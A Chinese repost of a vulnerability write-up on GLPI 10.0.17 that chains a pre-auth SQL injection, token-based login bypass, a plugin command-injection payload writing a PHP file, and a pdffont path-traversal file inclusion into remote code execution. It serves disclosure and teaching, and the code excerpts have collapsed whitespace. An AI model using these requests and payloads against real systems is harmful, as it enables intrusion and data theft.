GLPI 中的预认证 SQL 注入到 RCE(CVE-2025-24799/CVE-2025-24801)

admin 2025年6月3日10:55:13评论43 views字数 6678阅读22分15秒阅读模式
GLPI 中的预认证 SQL 注入到 RCE(CVE-2025-24799/CVE-2025-24801)

在红队交战期间,已经发现了几个GLPI实例。该软件在法语公司中很受欢迎,其中一些公司甚至直接在互联网上公开其实例。众所周知,GLPI 历史上隐藏着多个易于发现的漏洞,而且由于它通常与 Active Directory 相连,因此在红队交战或内部基础设施审计中发现此应用程序上的漏洞可能会导致对内部网络的初始访问和 Active Directory 帐户的恢复。

预认证 SQL 注入

过去曾报告过 GLPI 上的多起 SQL 注入。其中大多数被认为是后认证的,需要帐户才能触发漏洞 (1) (3) (4)。可预认证的漏洞非常罕见 (2) (5),并且已在外部侦察阶段发现的实例上进行了修补。

在 GLPI 的 Inventory 原生功能(通常启用)中发现了新的 SQL 注入。此功能无需任何身份验证机制即可访问。

在撰写本文时,10.0.17这是最新稳定版本,并将使用它作为示例,但该漏洞可能会影响以前的版本。

handleAgent()-10.0.17

handleAgent发现的功能是/src/Agent.phpGLPI 代理用于库存目的的可访问预身份验证功能。

<?phppublicfunctionhandleAgent($metadata){/** @var array $CFG_GLPI */global $CFG_GLPI;        $deviceid = $metadata['deviceid'];        $aid = false;if ($this->getFromDBByCrit(Sanitizer::dbEscapeRecursive(['deviceid' => $deviceid]))) {            $aid = $this->fields['id'];        }

此函数接受用户输入并将其存储到变量中,例如,然后从10.0.7 版开始经过清理函数后$deviceid传递给函数。getFromDBByCritdbEscapeRecursive

dbEscapeRecursive() - 10.0.17

<?phppublicstaticfunctiondbEscapeRecursive(array $values)array{return array_map(function($value){if (is_array($value)) {returnself::dbEscapeRecursive($value);                }if (is_string($value)) {returnself::dbEscape($value);                }return $value;            },            $values        );    }

此函数以数组作为输入,并递归调用dbEscape以转义其输入,此处的漏洞很容易被捕获。如果我们可以发送一个既不是array也不是 的值会怎么样string?

handleRequest()-10.0.17

在handleRequest用于解析代理请求的函数中,可以使用XML和JSON两种方法执行代理请求。

<?phpswitch ($this->mode) {caseself::XML_MODE:return$this->handleXMLRequest($data);caseself::JSON_MODE:return$this->handleJSONRequest($data);        }

虽然JSON_MODEonly 执行快速json_decode,但它只能创建stringarrayintegerstdClass对象(实际上不具备__toString函数)。但是 会根据用户输入XML_MODE创建一个对象。SimpleXMLElement

<?phppublicfunctionhandleXMLRequest($data)bool{        libxml_use_internal_errors(true);if (mb_detect_encoding($data, 'UTF-8'true) === false) {            $data = iconv('ISO-8859-1''UTF-8', $data);        }        $xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOCDATA);

这是绕过该函数的完美候选dbEscapeRecursive,因为它是一个可以轻松转换为字符串的对象。

php > $xml = simplexml_load_string('<test>a</test>');php > var_dump($xml);object(SimpleXMLElement)#2 (1) {  [0]=>  string(1"a"}php > var_dump($xml."toString");string(9"atoString"

最终请求

为了利用此漏洞,需要精心设计对代理请求端点的 XML 请求,并导致可使用简单的基于时间的攻击进行 SQL 注入。

POST/index.php/ajax/ HTTP/1.1Host: glpiUser-Agent: python-requests/2.32.3Content-Type: application/xmlContent-Length: 232<?xml version="1.0" encoding="UTF-8"?><xml><QUERY>get_params</QUERY><deviceid>', IF((1=1),(select sleep(5)),1), 0, 0, 0, 0, 0, 0);#</deviceid><content>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</content></xml>
使用这个简单的请求,服务器会因为1=1条件为真而休眠 5 秒。现在可以使用当前 GLPI 数据库用户的权限从数据库中提取任何数据。

GLPI 中的预认证 SQL 注入到 RCE(CVE-2025-24799/CVE-2025-24801)

请求耗时5秒,SQL查询已正确注入。

需要注意的是,数据库的结构在不同版本之间会有所变化。因此,上述查询中的列数可能会有所不同。

利用数据库读取来绕过身份验证

既然read已经获得了数据库的权限,那么就有多种方法可以获取有效会话。最明显的方法是从数据库中恢复帐户并尝试破解密码。但是,由于密码是使用 存储的bcrypt,因此恢复技术人员或超级管理员帐户的明文可能是一项挑战。

api_token

如果api_token在数据库中设置了帐户的,则可以使用它轻松获取有效会话并通过 API 身份验证方法访问 GLPI 的 GUI。

<?phpPOST /glpi/front/login.php HTTP/1.1Host: <redacted>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0Content-Type: application/x-www-form-urlencodedContent-Length: 212Origin: http://<redacted>Connection: keep-aliveReferer: http://<redacted>/glpi/index.phpredirect=&_glpi_csrf_token=<redacted>&field<redacted>=test&field<redacted>=test&auth=local&submit=&user_token=<api_token>

然后,服务器使用可用于访问 GUI 的有效 cookie 进行应答。

Set-Cookie: glpi_<redacted>=<redacted>; path=/

个人令牌

此令牌用于日历功能,允许您使用唯一令牌共享个人日历。此令牌使用该Session::authWithToken方法验证会话,然后在打印用户日历后销毁会话。

以前,可以通过personal_token在脚本结束执行之前强制出现致命错误来恢复模拟会话。自 10.0.9 版起,通过将选项设置session.use_cookies为 ,此问题已得到缓解0。

经过身份验证的远程代码执行

方法 1:市场

一旦管理员帐户被攻破,获取远程代码执行的最简单方法是进入插件市场。它甚至曾经托管过一个“Shell 命令”插件,但后来被禁用远程安装,然而,仍然有大量易受攻击的插件。

有时,GLPI 服务器无法直接访问互联网,但是可以从管理界面配置代理服务器,攻击者可以利用这一点,例如通过设置自己的代理服务器或配置公司内部代理。

例如,公共插件printercounters仍然容易受到系统命令注入的攻击。

POST/glpi/marketplace/printercounters/ajax/process.php HTTP/1.1Host: <redacted>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Glpi-Csrf-Token: <redacted>X-Requested-With: XMLHttpRequestContent-Length: 266Connection: keep-aliveReferer: http://<redacted>/glpi/marketplace/printercounters/front/config.form.phpCookie: glpi_<redacted>=<redacted>; stay_login=0action=killProcess&items_id=1231231';echo `{echo,PD9waHAgcGhwaW5mbygpOyA/Pg%3d%3d}|{base64,-d}|{tee,rz.php}`;%23

方法 2:本地文件包含 - 10.0.17

PDF 导出功能中还发现了本地文件包含。此功能允许管理员使用库将各种表格导出为 PDF 格式TCPDF。可以在配置条目中设置自定义 PDF 字体pdffont(通过超级管理员帐户全局更改,或由任何帐户通过其用户配置文件中的个性化选项进行更改),但未正确检查目录遍历,无论是从GLPI还是从TCPDF侧面。

PDF 字体只是存储在 TCPDFfonts文件夹中的 php 文件,由于此问题,如果字体名称受到控制,则有可能包含来自系统的任何 PHP 文件。

<?phpif (TCPDF_STATIC::empty_string($fontfile) OR (!@TCPDF_STATIC::file_exists($fontfile))) {// build a standard filenames for specified font            $tmp_fontfile = str_replace(' ''', $family).strtolower($style).'.php';            $fontfile = TCPDF_FONTS::getFontFullPath($tmp_fontfile, $fontdir);if (TCPDF_STATIC::empty_string($fontfile)) {                $missing_style = true;// try to remove the style part                $tmp_fontfile = str_replace(' ''', $family).'.php';                $fontfile = TCPDF_FONTS::getFontFullPath($tmp_fontfile, $fontdir);            }        }// include font fileif (!TCPDF_STATIC::empty_string($fontfile) AND (@TCPDF_STATIC::file_exists($fontfile))) {            $type=null;            $name=null;            $desc=null;            $up=-null;            $ut=null;            $cw=null;            $cbbox=null;            $dw=null;            $enc=null;            $cidinfo=null;            $file=null;            $ctg=null;            $diff=null;            $originalsize=null;            $size1=null;            $size2=null;include($fontfile);
要利用此漏洞,需要完成几个初步步骤。默认情况下,不允许在 GLPI 中上传 php 文件,但可以通过 处的下拉选项“文档类型”更改此列表/front/documenttype.php。然后,需要获取文件夹的路径GLPI_TMP_DIR,此信息可在 中找到/front/config.form.php,一旦获得,就可以通过 执行简单的文件上传/ajax/fileupload.php(在大多数 GLPI 形式上可用)。

GLPI 中的预认证 SQL 注入到 RCE(CVE-2025-24799/CVE-2025-24801)

PHP 被添加到允许的文件扩展名。

总之:

  • 更新文档类型下拉列表以允许php扩展

  • 恢复GLPI_TMP_DIR位置/front/config.form.php

  • 使用以下方式上传 PHP 文件/ajax/fileupload.php

  • pdffont配置设置为../../../../../../../../{GLPI_TMP_DIR}/uploadedfile

  • 例如,通过将表导出为 PDF 来触发本地文件包含/front/report.dynamic.php?item_type=Computer&sort%5B0%5D=1&order%5B0%5D=ASC&start=0&criteria%5B0%5D%5Bfield%5D=view&criteria%5B0%5D%5Blink%5D=contains&criteria%5B0%5D%5Bvalue%5D=&display_type=2

GLPI 中的预认证 SQL 注入到 RCE(CVE-2025-24799/CVE-2025-24801)

已实现远程代码执行

结论

中的库存功能GLPI容易受到未经身份验证的 SQL 注入攻击。虽然此功能默认未启用,但在我们红队评估期间遇到的大多数(如果不是全部)安装中,此功能都已启用。

通过利用此漏洞,就可以通过数据库中以明文形式存储的api_token或personal_token列(如果先前已设置)获得有效的 GUI 会话。

一旦通过身份验证,就可以利用 PDF 导出功能利用本地文件包含漏洞,并在存在漏洞的实例上实现远程代码执行。

时间线

  • 2024-12-25 - 发现漏洞

  • 2025-01-28 - 通过以下方式报告漏洞Github Advisories

  • 2025-01-28 -GLPI验证报告并分配CVE-2025-24801(执行代码à距离)

  • 2025-01-28-GLPI验证报告并分配CVE-2025-24799(注入 SQL)

  • 2025-02-12 - 发布修补版本10.0.18

  • 2025-03-12 - 文章发布

资源

  • https://blog.quarkslab.com/exploiting-glpi-during-a-red-team-engagement.html

  • https://www.synacktiv.com/ressources/advisories/GLPI_9.3.3_SQL_Injection.pdf

  • https://github.com/glpi-project/glpi/security/advisories/GHSA-p626-hph9-p6fj

  • https://sensepost.com/blog/2024/from-a-glpi-patch-bypass-to-rce/

  • https://github.com/glpi-project/glpi/security/advisories/GHSA-v799-2mp3-wgfr

原文始发于微信公众号(Ots安全):GLPI 中的预认证 SQL 注入到 RCE(CVE-2025-24799/CVE-2025-24801)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月3日10:55:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   GLPI 中的预认证 SQL 注入到 RCE(CVE-2025-24799/CVE-2025-24801)https://cn-sec.com/archives/3870499.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息